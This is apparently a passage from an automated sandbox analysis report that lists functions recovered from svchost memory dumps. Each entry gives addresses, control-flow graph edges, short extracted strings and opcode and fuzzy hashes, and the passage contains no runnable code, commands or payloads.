                                                                        Function 00007FFAAB783E15 Relevance: 1.3, Strings: 1, Instructions: 88COMMON
                                                                        Download Yara Rule

                                                                        Control-flow Graph

                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 0000000E.00000002.3924312589.00007FFAAB780000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAB780000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_14_2_7ffaab780000_svchost.jbxd
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID: @
                                                                        • API String ID: 0-2766056989
                                                                        • Opcode ID: df8120c0b80397c351dff65291ed4cf6d3c8a5123da8b02051a9cfe70a4838b7
                                                                        • Instruction ID: edf8468d89ce96656cf0ad94d9efec48778c994eea3efd1dcb2b2fd7a3397a35
                                                                        • Opcode Fuzzy Hash: df8120c0b80397c351dff65291ed4cf6d3c8a5123da8b02051a9cfe70a4838b7
                                                                        • Instruction Fuzzy Hash: 8231DB7090A92DCAEB64DB58C884BF9B2B1FB55341F0081F9D00DA26A2DF7459C99F90
                                                                        Function 00007FFAAB780C25 Relevance: 1.3, Strings: 1, Instructions: 81COMMON
                                                                        Download Yara Rule

                                                                        Control-flow Graph

                                                                        • Executed
                                                                        • Not Executed
                                                                        control_flow_graph 211 7ffaab780c25-7ffaab780c41 213 7ffaab780c7b-7ffaab780c8f 211->213 214 7ffaab780c43-7ffaab780c77 211->214 215 7ffaab780c91 213->215 216 7ffaab780c96 call 7ffaab780960 213->216 214->213 215->216 220 7ffaab780c9b-7ffaab780caf 216->220 223 7ffaab780cb1-7ffaab780cca 220->223 224 7ffaab780ccc-7ffaab780d6a 220->224 223->224
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 0000000E.00000002.3924312589.00007FFAAB780000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAB780000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_14_2_7ffaab780000_svchost.jbxd
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID: U
                                                                        • API String ID: 0-3372436214
                                                                        • Opcode ID: 9a3ba1abef9af2baf9ebe6791cc3a3dd2251436d2ceeaad8511a8c786819729e
                                                                        • Instruction ID: ad06dc1ed428d6d5b4b8feee300791ea70976a04e6299df895a258918f9b5e5c
                                                                        • Opcode Fuzzy Hash: 9a3ba1abef9af2baf9ebe6791cc3a3dd2251436d2ceeaad8511a8c786819729e
                                                                        • Instruction Fuzzy Hash: 73212536A0E68A8BE7129B78D8162F97B70EF83361F0585B3C148DA1F2DA74254DC7D1
                                                                        Function 00007FFAAB780C38 Relevance: 1.3, Strings: 1, Instructions: 62COMMON
                                                                        Download Yara Rule

                                                                        Control-flow Graph

                                                                        • Executed
                                                                        • Not Executed
                                                                        control_flow_graph 227 7ffaab780c38-7ffaab780c41 229 7ffaab780c7b-7ffaab780c8f 227->229 230 7ffaab780c43-7ffaab780c77 227->230 231 7ffaab780c91 229->231 232 7ffaab780c96 call 7ffaab780960 229->232 230->229 231->232 236 7ffaab780c9b-7ffaab780caf 232->236 239 7ffaab780cb1-7ffaab780cca 236->239 240 7ffaab780ccc-7ffaab780d6a 236->240 239->240
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 0000000E.00000002.3924312589.00007FFAAB780000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAB780000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_14_2_7ffaab780000_svchost.jbxd
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID: U
                                                                        • API String ID: 0-3372436214
                                                                        • Opcode ID: 56431e49c570ff279bc38d2f3001ef4b56240206c8d19f2e90a6357b1a0773e0
                                                                        • Instruction ID: cae75931b951d84d5c31d31eee24845fe59025b08dd9da9d549fb618a43d9008
                                                                        • Opcode Fuzzy Hash: 56431e49c570ff279bc38d2f3001ef4b56240206c8d19f2e90a6357b1a0773e0
                                                                        • Instruction Fuzzy Hash: 5111E235A0E68A8AE302AB64C8152F97B70EF83310F0585B3C049DB1F2DA78254987D1
                                                                        Function 00007FFAAB780C40 Relevance: 1.3, Strings: 1, Instructions: 56COMMON
                                                                        Download Yara Rule

                                                                        Control-flow Graph

                                                                        • Executed
                                                                        • Not Executed
                                                                        control_flow_graph 243 7ffaab780c40-7ffaab780c8f 248 7ffaab780c91 243->248 249 7ffaab780c96 call 7ffaab780960 243->249 248->249 251 7ffaab780c9b-7ffaab780caf 249->251 254 7ffaab780cb1-7ffaab780cca 251->254 255 7ffaab780ccc-7ffaab780d6a 251->255 254->255
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 0000000E.00000002.3924312589.00007FFAAB780000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAB780000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_14_2_7ffaab780000_svchost.jbxd
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID: U
                                                                        • API String ID: 0-3372436214
                                                                        • Opcode ID: bf0df473010c1653cea83f63d940dcf66af0022f67bf68a4def8dcb8f9775c5f
                                                                        • Instruction ID: 5db3fbd6a51c81d43eb2c2fa48bf1f885a2e23dc12338bedd74d819ee6a4e8e1
                                                                        • Opcode Fuzzy Hash: bf0df473010c1653cea83f63d940dcf66af0022f67bf68a4def8dcb8f9775c5f
                                                                        • Instruction Fuzzy Hash: 5A11E07190E68A8EE302AB64C8152F97B70EF43310F0586B3C049DB1F2DA782559CB91
                                                                        Function 00007FFAAB780C50 Relevance: 1.3, Strings: 1, Instructions: 45COMMON
                                                                        Download Yara Rule

                                                                        Control-flow Graph

                                                                        • Executed
                                                                        • Not Executed
                                                                        control_flow_graph 258 7ffaab780c50-7ffaab780c8f 262 7ffaab780c91 258->262 263 7ffaab780c96 call 7ffaab780960 258->263 262->263 265 7ffaab780c9b-7ffaab780caf 263->265 268 7ffaab780cb1-7ffaab780cca 265->268 269 7ffaab780ccc-7ffaab780d6a 265->269 268->269
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 0000000E.00000002.3924312589.00007FFAAB780000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAB780000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_14_2_7ffaab780000_svchost.jbxd
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID: U
                                                                        • API String ID: 0-3372436214
                                                                        • Opcode ID: d2a03752e293ffbddd9a86ea557b9e1a6e237c0c13b5b961921c53b3bd252553
                                                                        • Instruction ID: 94ed1a98351fc46b369bac8d8939b12d8f2278fdd6c9ee7a44e8d68079ce56d9
                                                                        • Opcode Fuzzy Hash: d2a03752e293ffbddd9a86ea557b9e1a6e237c0c13b5b961921c53b3bd252553
                                                                        • Instruction Fuzzy Hash: EA01D27090E68ACFE702AB74C8142F97BB0EF03314F0486B2D009DB1F6DA782558C791
                                                                        Function 00007FFAAB7808D0 Relevance: .2, Instructions: 181COMMON
                                                                        Download Yara Rule

                                                                        Control-flow Graph

                                                                        Memory Dump Source
                                                                        • Source File: 0000000E.00000002.3924312589.00007FFAAB780000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAB780000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_14_2_7ffaab780000_svchost.jbxd
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID:
                                                                        • API String ID:
                                                                        • Opcode ID: 45deca6df83c9fd37ebdd754822325e5b5b6d41eb3c8f97f9620d10f7d75eff8
                                                                        • Instruction ID: 2f721a5e620640dc5b6b040ddeba452777b30f727e037605e6639215194bc1f3
                                                                        • Opcode Fuzzy Hash: 45deca6df83c9fd37ebdd754822325e5b5b6d41eb3c8f97f9620d10f7d75eff8
                                                                        • Instruction Fuzzy Hash: E0516D7290956D9FDB54FFA8D495AEDB7B0FF48324F0445BAD04DD72A2CE24A881C780
                                                                        Function 00007FFAAB784888 Relevance: .1, Instructions: 145COMMON
                                                                        Download Yara Rule

                                                                        Control-flow Graph

                                                                        Memory Dump Source
                                                                        • Source File: 0000000E.00000002.3924312589.00007FFAAB780000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAB780000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_14_2_7ffaab780000_svchost.jbxd
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID:
                                                                        • API String ID:
                                                                        • Opcode ID: a284caaa3bd72349296f03ef15a570e03f3c7c0611c6908c022769c4b374dbe6
                                                                        • Instruction ID: 614e81cdb521f91b151bd6720ca256b80ff94119f61ed7bbcbae068d0ae20060
                                                                        • Opcode Fuzzy Hash: a284caaa3bd72349296f03ef15a570e03f3c7c0611c6908c022769c4b374dbe6
                                                                        • Instruction Fuzzy Hash: B151C970D0656A8FDBA4EB54C8947F8B6B1EB15341F1044FAD00EE62A1DEB86AC5CF90
                                                                        Function 00007FFAAB780960 Relevance: .1, Instructions: 138COMMON
                                                                        Download Yara Rule

                                                                        Control-flow Graph

                                                                        Memory Dump Source
                                                                        • Source File: 0000000E.00000002.3924312589.00007FFAAB780000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAB780000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_14_2_7ffaab780000_svchost.jbxd
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID:
                                                                        • API String ID:
                                                                        • Opcode ID: d9c5b82c2b7d7f158cdee3eceac970997c84e2c495dcef29c10b2ccc9138b744
                                                                        • Instruction ID: fac06aa5130b91b857e67149f2ad83ff6a7654fe3b3732cae2af5e4b49a80b5a
                                                                        • Opcode Fuzzy Hash: d9c5b82c2b7d7f158cdee3eceac970997c84e2c495dcef29c10b2ccc9138b744
                                                                        • Instruction Fuzzy Hash: 9D414C71918A1D9FEB94FFA8D885AEDB7B1FF58350F10457AD00DD32A2CE34A8818780
                                                                        Function 00007FFAAB780998 Relevance: .1, Instructions: 113COMMON
                                                                        Download Yara Rule
                                                                        Memory Dump Source
                                                                        • Source File: 0000000E.00000002.3924312589.00007FFAAB780000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAB780000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_14_2_7ffaab780000_svchost.jbxd
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID:
                                                                        • API String ID:
                                                                        • Opcode ID: 710ed22867963716a75d96a42848c74b8df34c6894f8aaa309be76f2d548213c
                                                                        • Instruction ID: 8a3f30d70e3e0446bec4ce5848c8ee750523e7b7f990c7dfefe94b297a65398b
                                                                        • Opcode Fuzzy Hash: 710ed22867963716a75d96a42848c74b8df34c6894f8aaa309be76f2d548213c
                                                                        • Instruction Fuzzy Hash: 0A410670A1595D8FDB94EFA8C885AEDB7B1FF58341F10017AE40DE32A5CE74A885CB80
                                                                        Function 00007FFAAB789DB2 Relevance: .1, Instructions: 101COMMON
                                                                        Download Yara Rule
                                                                        Memory Dump Source
                                                                        • Source File: 0000000E.00000002.3924312589.00007FFAAB780000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAB780000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_14_2_7ffaab780000_svchost.jbxd
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID:
                                                                        • API String ID:
                                                                        • Opcode ID: 38c621731fe3fdc14676fdfa384bbc2ce53072fdef935722b20cd6c5d1b259aa
                                                                        • Instruction ID: 7dc70bd3a4a49d3642a378a7f27f07de9e4f248192bfcae695d8cdc8928ecfc0
                                                                        • Opcode Fuzzy Hash: 38c621731fe3fdc14676fdfa384bbc2ce53072fdef935722b20cd6c5d1b259aa
                                                                        • Instruction Fuzzy Hash: FB41BC70A09919CEDBA8EB14C855AF973F1FB69341F5081EA904EE3660CE756AC48F80
                                                                        Function 00007FFAAB78116D Relevance: .1, Instructions: 75COMMON
                                                                        Download Yara Rule
                                                                        Memory Dump Source
                                                                        • Source File: 0000000E.00000002.3924312589.00007FFAAB780000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAB780000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_14_2_7ffaab780000_svchost.jbxd
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID:
                                                                        • API String ID:
                                                                        • Opcode ID: db69ac137c1d1d2000e2f9936c449dede496f1fad99b1fed221b2e356c8ed04a
                                                                        • Instruction ID: 19b482bedb8b520efe9d77ef89a8d58c0810c86984aeefd39ced1d1718816577
                                                                        • Opcode Fuzzy Hash: db69ac137c1d1d2000e2f9936c449dede496f1fad99b1fed221b2e356c8ed04a
                                                                        • Instruction Fuzzy Hash: EA213B71A1590DCFEB84EBA8D884ABDB3F1FF19340B10457AD009D72A1DF34A881CB80
                                                                        Function 00007FFAAB782499 Relevance: .1, Instructions: 61COMMON
                                                                        Download Yara Rule
                                                                        Memory Dump Source
                                                                        • Source File: 0000000E.00000002.3924312589.00007FFAAB780000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAB780000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_14_2_7ffaab780000_svchost.jbxd
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID:
                                                                        • API String ID:
                                                                        • Opcode ID: 7138077682b11e7e4bb4840926b38384553357136682c6d82fad119dedf1b669
                                                                        • Instruction ID: bad2fe91b92f976be4ee49eb29cd90c06336b0dded1f833f189c1dedf2b4f7ed
                                                                        • Opcode Fuzzy Hash: 7138077682b11e7e4bb4840926b38384553357136682c6d82fad119dedf1b669
                                                                        • Instruction Fuzzy Hash: 00210C7490A629CAEB60DF64C8447B9B3B0FB56354F0081A9C50DA36A1CB785AC9DF85
                                                                        Function 00007FFAAB7849C9 Relevance: .0, Instructions: 45COMMON
                                                                        Download Yara Rule
                                                                        Memory Dump Source
                                                                        • Source File: 0000000E.00000002.3924312589.00007FFAAB780000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAB780000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_14_2_7ffaab780000_svchost.jbxd
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID:
                                                                        • API String ID:
                                                                        • Opcode ID: 2ea326ab04b3b6e84c9b7fa35a867e7a5939449cc79417ddc1a4594996661c0b
                                                                        • Instruction ID: ab701507722e487cb43ca64a3e26625ae55fb2aaa1394b55bb9aa1c83991c7b9
                                                                        • Opcode Fuzzy Hash: 2ea326ab04b3b6e84c9b7fa35a867e7a5939449cc79417ddc1a4594996661c0b
                                                                        • Instruction Fuzzy Hash: 5411E27090657ECFDB64DF54C8947F972B1AB51341F1040FAD01EA62A1DEB86AC4DF90
                                                                        Function 00007FFAAB780B95 Relevance: .0, Instructions: 42COMMON
                                                                        Download Yara Rule
                                                                        Memory Dump Source
                                                                        • Source File: 0000000E.00000002.3924312589.00007FFAAB780000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAB780000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_14_2_7ffaab780000_svchost.jbxd
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID:
                                                                        • API String ID:
                                                                        • Opcode ID: a17c38ddef397b8dce89ebcc7f283fb01cbb9d00f981998df1342c3393b31629
                                                                        • Instruction ID: bf7d3e43eb069d0c9fc8fed62dae2696742cb0a1c6033848465d6ff7d2e998cf
                                                                        • Opcode Fuzzy Hash: a17c38ddef397b8dce89ebcc7f283fb01cbb9d00f981998df1342c3393b31629
                                                                        • Instruction Fuzzy Hash: 3E01163062464DCFDB84EF18C845AE937F0FB58308F10416AE81AC3224CB30E965CB81
                                                                        Function 00007FFAAB7806AD Relevance: .0, Instructions: 35COMMON
                                                                        Download Yara Rule
                                                                        Memory Dump Source
                                                                        • Source File: 0000000E.00000002.3924312589.00007FFAAB780000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAB780000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_14_2_7ffaab780000_svchost.jbxd
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID:
                                                                        • API String ID:
                                                                        • Opcode ID: 4a23d68f6edea60c80a38f6b6b7d4fc5c8426b69baa0d9e2b73959fbb2103e25
                                                                        • Instruction ID: 3d5d8d9a62683bcc6ea04fa47263c05eafc9d01b8a9b776fbb6ca0ea62dc9fae
                                                                        • Opcode Fuzzy Hash: 4a23d68f6edea60c80a38f6b6b7d4fc5c8426b69baa0d9e2b73959fbb2103e25
                                                                        • Instruction Fuzzy Hash: E5F0F93091664EDEEB90EF6894496BE77B0EF55354F104436E40DC2170DA75A5948B81
                                                                        Function 00007FFAAB781360 Relevance: .0, Instructions: 33COMMON
                                                                        Download Yara Rule
                                                                        Memory Dump Source
                                                                        • Source File: 0000000E.00000002.3924312589.00007FFAAB780000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAB780000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_14_2_7ffaab780000_svchost.jbxd
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID:
                                                                        • API String ID:
                                                                        • Opcode ID: 6af3fbb1555ed444a4fc091f13de4a43f509e6f0b7b760bb42637418b9343195
                                                                        • Instruction ID: 950d392dad9de77a2de9ee1090f47be1a3a3492c25d881eafb0828c80e50180e
                                                                        • Opcode Fuzzy Hash: 6af3fbb1555ed444a4fc091f13de4a43f509e6f0b7b760bb42637418b9343195
                                                                        • Instruction Fuzzy Hash: A7F0A97091494D9FDF84EF68C448AAA77F0FF28345F1044A5E819C7264DA70E5A4CB81
                                                                        Function 00007FFAAB7806D0 Relevance: .0, Instructions: 30COMMON
                                                                        Download Yara Rule
                                                                        Memory Dump Source
                                                                        • Source File: 0000000E.00000002.3924312589.00007FFAAB780000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAB780000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_14_2_7ffaab780000_svchost.jbxd
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID:
                                                                        • API String ID:
                                                                        • Opcode ID: ed7c356744c1b579640ee26134e298ace24c8c9ca7ef7c3604f15cc4a6d5d898
                                                                        • Instruction ID: f8b0308c298c181fa12a733bc99d56452b47c66dc3f8df239cce0bb15e6e264b
                                                                        • Opcode Fuzzy Hash: ed7c356744c1b579640ee26134e298ace24c8c9ca7ef7c3604f15cc4a6d5d898
                                                                        • Instruction Fuzzy Hash: ADF0F83091594DDFEB94EF68C4496FE7BF0FF18344F10446AE81DD2160DA74A5A48B81
                                                                        Function 00007FFAAB784B08 Relevance: .0, Instructions: 30COMMON
                                                                        Download Yara Rule
                                                                        Memory Dump Source
                                                                        • Source File: 0000000E.00000002.3924312589.00007FFAAB780000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAB780000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_14_2_7ffaab780000_svchost.jbxd
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID:
                                                                        • API String ID:
                                                                        • Opcode ID: dbc90600bdf43e5b53b008b2ed6d57db78c2c6e726cebb288ee5b0023e023510
                                                                        • Instruction ID: 14641fd4ff5725b593f17062b7ac5e94bd31d5cdfef0266de636118b251c40ca
                                                                        • Opcode Fuzzy Hash: dbc90600bdf43e5b53b008b2ed6d57db78c2c6e726cebb288ee5b0023e023510
                                                                        • Instruction Fuzzy Hash: 3501E53090657ACBEB78DF51C8947B973B1AB51341F1044FAD01E662A1DBF86AC4CF90
                                                                        Function 00007FFAAB78133D Relevance: .0, Instructions: 28COMMON
                                                                        Download Yara Rule
                                                                        Memory Dump Source
                                                                        • Source File: 0000000E.00000002.3924312589.00007FFAAB780000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAB780000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_14_2_7ffaab780000_svchost.jbxd
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID:
                                                                        • API String ID:
                                                                        • Opcode ID: 2a79ea8b9011ce4c29baa856e70c02415517a77910cf4e9cfb5146c082f2efa1
                                                                        • Instruction ID: 3fabc29257cd752e36e9a96c0cdaacddc80b1ba5bb3b4d75696c19818b300de3
                                                                        • Opcode Fuzzy Hash: 2a79ea8b9011ce4c29baa856e70c02415517a77910cf4e9cfb5146c082f2efa1
                                                                        • Instruction Fuzzy Hash: 9FF0A93192960DDFDB84EFA8E900AFE73A0FF44304F0080B6E00DD21A1CA30AA58D781
                                                                        Function 00007FFAAB7816E8 Relevance: .0, Instructions: 24COMMON
                                                                        Download Yara Rule
                                                                        Memory Dump Source
                                                                        • Source File: 0000000E.00000002.3924312589.00007FFAAB780000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAB780000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_14_2_7ffaab780000_svchost.jbxd
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID:
                                                                        • API String ID:
                                                                        • Opcode ID: f5cc74f8c9b5be8069063310569b84383d1647bf4459b3aebc1bb6606da05999
                                                                        • Instruction ID: fbec8698959b1127adcb494bbdb0c808736175aee12a222bfa5202a69ccb404a
                                                                        • Opcode Fuzzy Hash: f5cc74f8c9b5be8069063310569b84383d1647bf4459b3aebc1bb6606da05999
                                                                        • Instruction Fuzzy Hash: 5FE06D3182A24DDBDB84EFA4D9016FD77B4AF01304F00887AE40DC61A2DE756658D781
                                                                        Function 00007FFAAB787B0E Relevance: .0, Instructions: 21COMMON
                                                                        Download Yara Rule
                                                                        Memory Dump Source
                                                                        • Source File: 0000000E.00000002.3924312589.00007FFAAB780000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAB780000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_14_2_7ffaab780000_svchost.jbxd
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID:
                                                                        • API String ID:
                                                                        • Opcode ID: 778c7bbe8d33f4b009667b03085dbaf1dda7ebdc795f507312f1819abdd241b4
                                                                        • Instruction ID: aa9b4b044cee3207547c147e4e2b4cf7287b0f1b53ed50a2b09a8ac0b6555ded
                                                                        • Opcode Fuzzy Hash: 778c7bbe8d33f4b009667b03085dbaf1dda7ebdc795f507312f1819abdd241b4
                                                                        • Instruction Fuzzy Hash: 61E0657181445A8FD768DB24CC94AEEB7B5FF44304F1041F5C00D97592CA766D829FC0
                                                                        Function 00007FFAAB788A46 Relevance: .0, Instructions: 17COMMON
                                                                        Download Yara Rule
                                                                        Memory Dump Source
                                                                        • Source File: 0000000E.00000002.3924312589.00007FFAAB780000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAB780000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_14_2_7ffaab780000_svchost.jbxd
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID:
                                                                        • API String ID:
                                                                        • Opcode ID: c2502e750001065a8ba25568f59f7554e8a55c38229bd8e560587a09af1af184
                                                                        • Instruction ID: 2bfbe4b86b03ac909e1ae07266e94d63cddddd549c297d5b2585896f7141d144
                                                                        • Opcode Fuzzy Hash: c2502e750001065a8ba25568f59f7554e8a55c38229bd8e560587a09af1af184
                                                                        • Instruction Fuzzy Hash: A6E06570C0F284CEE7214BA4885C2B97AB07F06344F0481F9D04E1A1F3CBB96A89EF80
                                                                        Function 00007FFAAB7824DE Relevance: .0, Instructions: 14COMMON
                                                                        Download Yara Rule
                                                                        Memory Dump Source
                                                                        • Source File: 0000000E.00000002.3924312589.00007FFAAB780000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAB780000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_14_2_7ffaab780000_svchost.jbxd
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID:
                                                                        • API String ID:
                                                                        • Opcode ID: e29822be3366f720f848443fab69bdc358d3a83c310156d4d32a53fc747b1bd4
                                                                        • Instruction ID: 253d7f516ba81446d7cdcd81c73ed6bbfa923347a5b4e4f415d393202734efa4
                                                                        • Opcode Fuzzy Hash: e29822be3366f720f848443fab69bdc358d3a83c310156d4d32a53fc747b1bd4
                                                                        • Instruction Fuzzy Hash: 44E0EC7090A529CAFB649B54C4047BC72B5BB45340F1045A8C24E622A1CB7859C4CB40

                                                                        Non-executed Functions

                                                                        Function 00007FFAAB78086A Relevance: 2.7, Strings: 2, Instructions: 229COMMON
                                                                        Download Yara Rule
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 0000000E.00000002.3924312589.00007FFAAB780000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAB780000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_14_2_7ffaab780000_svchost.jbxd
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID: )e2u$)e2u
                                                                        • API String ID: 0-1580931065
                                                                        • Opcode ID: 095513164b68d766fe518ab341c797a7c020d4bc2123c12e2df99fe0b65356a9
                                                                        • Instruction ID: eb2bebd1c9dbbbb47b143a84a196004261dcb3c37c7171c45fd9ce9fc32b56bf
                                                                        • Opcode Fuzzy Hash: 095513164b68d766fe518ab341c797a7c020d4bc2123c12e2df99fe0b65356a9
                                                                        • Instruction Fuzzy Hash: 49717070908A4D8FEBA8EF18C845BF977E0FB59350F10812EE84EC7661DB759985CB81
                                                                        Function 00007FFAAB93D4FD Relevance: .1, Instructions: 100COMMON
                                                                        Download Yara Rule
                                                                        Memory Dump Source
                                                                        • Source File: 0000000E.00000002.3929652948.00007FFAAB930000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAB930000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_14_2_7ffaab930000_svchost.jbxd
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID:
                                                                        • API String ID:
                                                                        • Opcode ID: 55df6f9d2aaabefd3b12b09cf88b6bd4e18b44f15e5809c93f6d504010e31362
                                                                        • Instruction ID: 0bd7bc4a4b54fbef60cc5406ce1fa6dccd150dcd4beff3f7d882905f3260d08a
                                                                        • Opcode Fuzzy Hash: 55df6f9d2aaabefd3b12b09cf88b6bd4e18b44f15e5809c93f6d504010e31362
                                                                        • Instruction Fuzzy Hash: 4D31E274D18A1D8FCF84EF58D451AEDBBF1FB69300F2051AAD019E3295CB35A941CB84
                                                                        Function 00007FFAAB7809B0 Relevance: 5.2, Strings: 4, Instructions: 180COMMON
                                                                        Download Yara Rule
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 0000000E.00000002.3924312589.00007FFAAB780000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAB780000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_14_2_7ffaab780000_svchost.jbxd
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID: c9$!k9$"s9$#{9
                                                                        • API String ID: 0-1692736845
                                                                        • Opcode ID: f99011349f28dd2248eda868efb788c0f5543ce9edb2106cf288d22d44c26719
                                                                        • Instruction ID: 074e94ab1e2dc240dcf7d83f053114a1d892483690c84c9ab012b7bd6a935d44
                                                                        • Opcode Fuzzy Hash: f99011349f28dd2248eda868efb788c0f5543ce9edb2106cf288d22d44c26719
                                                                        • Instruction Fuzzy Hash: 5841D087A0D473E5E12933FDF9099FC6B589F81278B09CAB7E14E898938D0874C593E5